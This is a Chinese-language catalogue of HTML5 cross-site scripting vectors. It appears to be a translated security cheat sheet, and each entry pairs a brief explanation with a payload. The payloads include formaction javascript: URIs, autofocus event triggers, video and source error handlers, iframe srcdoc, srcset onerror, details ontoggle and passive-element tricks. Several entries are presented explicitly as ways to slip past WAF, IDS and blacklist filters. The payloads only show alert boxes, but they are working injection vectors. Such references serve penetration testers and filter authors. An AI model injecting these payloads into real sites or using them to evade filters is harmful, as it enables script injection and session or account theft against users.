HTML5特性向量
通過formaction進行XSS-需要用戶交互(1)
一個顯示HTML5表單和formaction功能的向量,用於在實際表單之外進行表單劫持。
1 <form id="test"></form><button form="test" formaction="javascript:alert(1)">X</button>
適用瀏覽器與版本
測試效果
通過自動對焦自動執行焦點事件
此向量使用具有自動聚焦的輸入元素來調用其自己的聚焦事件處理程序-無需用戶交互
1 <input onfocus=write(1) autofocus>
適用瀏覽器與版本
測試效果
通過自動對焦競賽自動執行模糊事件
在這里,我們有兩個HTML輸入元素爭奪焦點-一個正在執行JavaScript以失去焦點
1 <input onblur=write(1) autofocus><input autofocus>
適用瀏覽器與版本
測試效果
通過<VIDEO>poster屬性執行JavaScript
Opera 10.5+允許將發帖者屬性與javascript:URI結合使用。此錯誤已在Opera 11中修復。
1 <video poster=javascript:alert(1)//></video>
測試效果
無法測試
適用瀏覽器與版本
通過<BODY>onscroll autofocus自動執行JavaScript
此向量觸發一個onscroll事件,該事件在<BODY>上執行JavaScript,因為在頁面下方的<INPUT>上有一個自動焦點。
<body onscroll=alert(1)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>
測試效果
適用瀏覽器與版本
具有onformchange、onforminput和Form屬性的表單監視
在form元素中輸入一個值,以查看“ onforminput”和“ onformchange”屬性如何監視<FORM>活動-甚至可以通過<BUTTON>元素上的form屬性從<FORM>外部進行監視。
1 <form id=test onforminput=alert(1)><input></form><button form=test onformchange=alert(2)>X</button>
適用瀏覽器與版本
通過<VIDEO>和<SOURCE>標記執行JavaScript(1)
Opera10.5+和Chrome允許在<SOURCE>標記中使用錯誤處理程序(如果由<VIDEO>標記封裝)。同樣適用於<AUDIO>標簽
1 <video><source onerror="alert(1)">
測試效果
適用瀏覽器與版本
通過<VIDEO>和<SOURCE>標記執行JavaScript(2)
Firefox 3.5+允許在<VIDEO>標記中使用<SOURCE>標記時使用錯誤處理程序。這同樣適用於<AUDIO>標簽。
在Firefox 4+上,<SOURCE>標記與觸發錯誤事件無關。這是因為當頁面在URL中有一個數字符號(#)時,<VIDEO>標記中的隱式“src”屬性導致的。
1 <video onerror="alert(1)"><source></source></video>
測試效果
無法測試
適用瀏覽器與版本
通過formaction進行XSS-需要用戶交互(2)
一個矢量,顯示用於表單劫持的HTML5“ formaction”功能。請注意,此變體不使用“ id”和“ form”屬性來連接按鈕和表單。
1 <form><button formaction="javascript:alert(1)">X</button>
測試效果
適用瀏覽器與版本
通過<BODY>和oninput屬性執行被動JavaScript
除Internet Explorer 9之外的所有瀏覽器都支持“oninput”事件處理程序,它可以處理給定的<INPUT>等表單元素。該事件適用於表單元素本身、周圍的表單和<BODY>以及<HTML>標記。
1 <body oninput=alert(1)><input autofocus>
測試效果
隨便輸入即可
適用瀏覽器與版本
在Firefox上通過MathML執行被動JavaScript
現代的Firefox版本允許使用內聯MathML。雖然其他用戶代理還不支持MathML元素的ref屬性,但Firefox確實支持並因此啟用了被動JavaScript執行。注意,MathML元素的支持ref是MathML 3引入的一個特性。使用xlink:ref可以觀察到相同的效果。statusline操作進一步啟用了實際鏈接目標的模糊處理,在本例中隱藏了JavaScript URI。
1 <math href="javascript:alert(1)">CLICKME</math> 2 3 <math> 4 <!-- up to FF 13 --> 5 <maction actiontype="statusline#http://google.com" xlink:href="javascript:alert(2)">CLICKME</maction> 6 7 <!-- FF 14+ --> 8 <maction actiontype="statusline" xlink:href="javascript:alert(3)">CLICKME<mtext>http://http://google.com</mtext></maction> 9 </math>
測試效果
適用瀏覽器與版本
使用HTML5“dirname”屬性透明覆蓋請求數據
Opera和Chrome支持HTML5屬性“dirname”,通過將其添加到服務器發送的請求正文中,瀏覽器可以使用該屬性來傳達另一個輸入元素的文本流方向。通過在現有的表單中注入一個“DrimNeX”屬性,攻擊者可以覆蓋用戶輸入,從而使其可以惡意地猜測。覆蓋值將是“ltr”或“rtl”-取決於實際的文本流方向。Internet Explorer或Firefox尚不支持“dirname”屬性。
1 <form action="" method="post"> 2 <input name="username" value="admin" /> 3 <input name="password" type="password" value="secret" /> 4 <input name="injected" value="injected" dirname="password" /> 5 <input type="submit"> 6 </form>
測試效果
適用瀏覽器與版本
通過跨源HTML導入執行JavaScript
Google Chrome Canary已經支持HTML導入。它們允許從任意來源獲取資源(只要正確設置了Access-Control-Origin標頭),然后將其注入到發出請求的DOM中。目前,只有Chrome支持該功能,並且仍然隱藏在標志后面。但是,預計所有主要瀏覽器都將支持它。
1 <link rel="import" href="test.svg" />
測試效果
適用瀏覽器與版本
通過Iframes中的“srcdoc”屬性執行JavaScript
HTML5為Iframes指定了一個“srcdoc”屬性。這個屬性與數據uri非常相似,它能夠托管HTML文本,以便由瀏覽器作為Iframe的內容呈現。由“srcdoc”屬性創建的偽文檔對宿主域具有完全訪問權限,盡管它是在人工源中運行的。這個屬性應該只與Iframe沙盒結合使用。
1 <iframe srcdoc="<img src=x:x onerror=alert(1)>" />
測試效果
適用瀏覽器與版本
HTML5<picture>元素和“srcset”屬性
HTML5提供了<picture>元素,用於響應和可訪問的圖像。<picture>元素本質上包裝了<source>和<img>元素,並提供了一種提供替代內容的方法。這里的新穎之處在於“srcset”屬性允許觸發加載事件。這很可能繞過現有的WAF系統。
1 <picture><source srcset="x"><img onerror="alert(1)"></picture> 2 3 <picture><img srcset="x" onerror="alert(1)"></picture> 4 5 <img srcset=",,,,,x" onerror="alert(1)">
測試效果
適用瀏覽器與版本
繞過rel=“noreferrer”的window.opener保護
在許多情況下,開發人員可能希望減輕使用window.opener及其可寫位置對象的選項卡捕捉攻擊。為此,建議使用rel=“noreferrer”屬性應用外部鏈接。但是,根據外部鏈接的嵌入方式,保護可能會失敗,window.opener可能不是空的,但仍然會被公開。這里的問題是,rel屬性只對<a>和<area>有效。但是,鏈接和類似鏈接的導航功能可以以多種其他方式嵌入。進一步注意,MSIE幾乎忽略了標准,沒有進一步的努力就不會破壞window.opener。
<a href="//baidu.com" target="_blank" rel="noreferrer">CLICK</a> // window.opener will be null
<map><area href="//baidu.com" target="_blank" rel="noreferrer">CLICK</area></map> // window.opener will be null
<svg><a xlink:href="//baidu.com" rel="noreferrer">CLICK</a></svg> // window.opener still works
<form action="//baidu.com" target="_blank" rel="noreferrer"><input type="submit"></form>// window.opener still works
<form id="test" rel="noreferrer"></form><button form="test" formtarget="_blank" formaction="//baidu.com">CLICKME</button>// window.opener still works
<math href="//baidu.com" xlink:show="new" rel="noreferrer">CLICKME</math>// window.opener still works
測試效果
適用瀏覽器與版本
使用HTML5命名字符引用生成大於
一些HTML5命名字符引用會生成兩個ASCII字符,如&nvlt;和&nvgt;。在某些特殊情況下,這可能會被濫用來生成有效的HTML,而不會實際關閉ASCII大於的標記。實體將產生大於的,所以我們不必。
1 <iframe srcdoc="<svg onload=alert(1)>⃒"></iframe> 2 3 <a href="javascript:'<svg onload=alert(1)>⃒'">CLICK</a>
測試效果
適用瀏覽器與版本
沒有被動元素的用戶交互的XSS
通常,攻擊者只能注入“被動”元素,例如DIV或SPAN。對於這些元素,在沒有用戶交互(如點擊或鼠標事件)的情況下執行注入的JavaScript並不總是那么簡單。如果注入的元素不在可見范圍內,就很難證明注入實際上是可利用的。因此,此項列出了當前所有已知的執行JavaScript的方法,而無需來自被動元素的用戶交互。這份名單預計會隨着時間的推移而增加。
注意,對於這里的一些攻擊,字符串“#xss”需要附加到注入頁面的URL。
1 #Chrome, Opera, Safari and Edge
2 <div onfocus="alert(1)" contenteditable tabindex="0" id="xss"></div>
3 <div style="-webkit-user-modify:read-write" onfocus="alert(1)" id="xss">
4 <div style="-webkit-user-modify:read-write-plaintext-only" onfocus="alert(1)" id="xss">
5
6 # Firefox 7 <div onbeforescriptexecute="alert(1)"></div> 8 <script>1</script> 9 10 #MSIE10/11 & Edge 11 <div style="-ms-scroll-limit:1px;overflow:scroll;width:1px" onscroll="alert(1)"> 12 13 #MSIE10 14 <div contenteditable onresize="alert(1)"></div> 15 16 # MSIE11 17 <div onactivate="alert(1)" id="xss" style="overflow:scroll"></div> 18 <div onfocus="alert(1)" id="xss" style="display:table"> 19 <div id="xss" style="-ms-block-progression:bt" onfocus="alert(1)"> 20 <div id="xss" style="-ms-layout-flow:vertical-ideographic" onfocus="alert(1)"> 21 <div id="xss" style="float:left" onfocus="alert(1)"> 22 23 # Chrome, Opera, Safari 24 <style>@keyframes x{}</style> 25 <div style="animation-name:x" onanimationstart="alert(1)"></div> 26 27 # Chrome, Opera, Safari 28 <style> 29 div {width: 100px;} 30 div:target {width: 200px;} 31 </style> 32 <div id="xss" onwebkittransitionend="alert(1)" style="-webkit-transition: width .1s;"></div> 33 34 # Safari 35 <div style="overflow:-webkit-marquee" onscroll="alert(1)"></div>
測試效果
適用瀏覽器與版本
通過<DETAILS>和ontogle執行JavaScript
<DETAILS>元素在現代基於Blink的瀏覽器上觸發“ontogle”事件,而不需要用戶交互。這可能會被濫用以繞過黑名單,因為事件標記組合不是很清楚。
1 <details open ontoggle="alert(1)">
測試效果
適用瀏覽器與版本
通過<VIDEO>執行帶有空源和速率更改事件的JavaScript
<VIDEO>元素在沒有用戶交互的情況下在Firefox上觸發一個“onratechange”事件,即使沒有給出“src”屬性的實際值。這可以用來繞過WAF和IDS系統,因為這種標記和屬性的組合是相當罕見和未知的。
1 <video src onratechange="alert(1)">
測試效果
暫時無法測試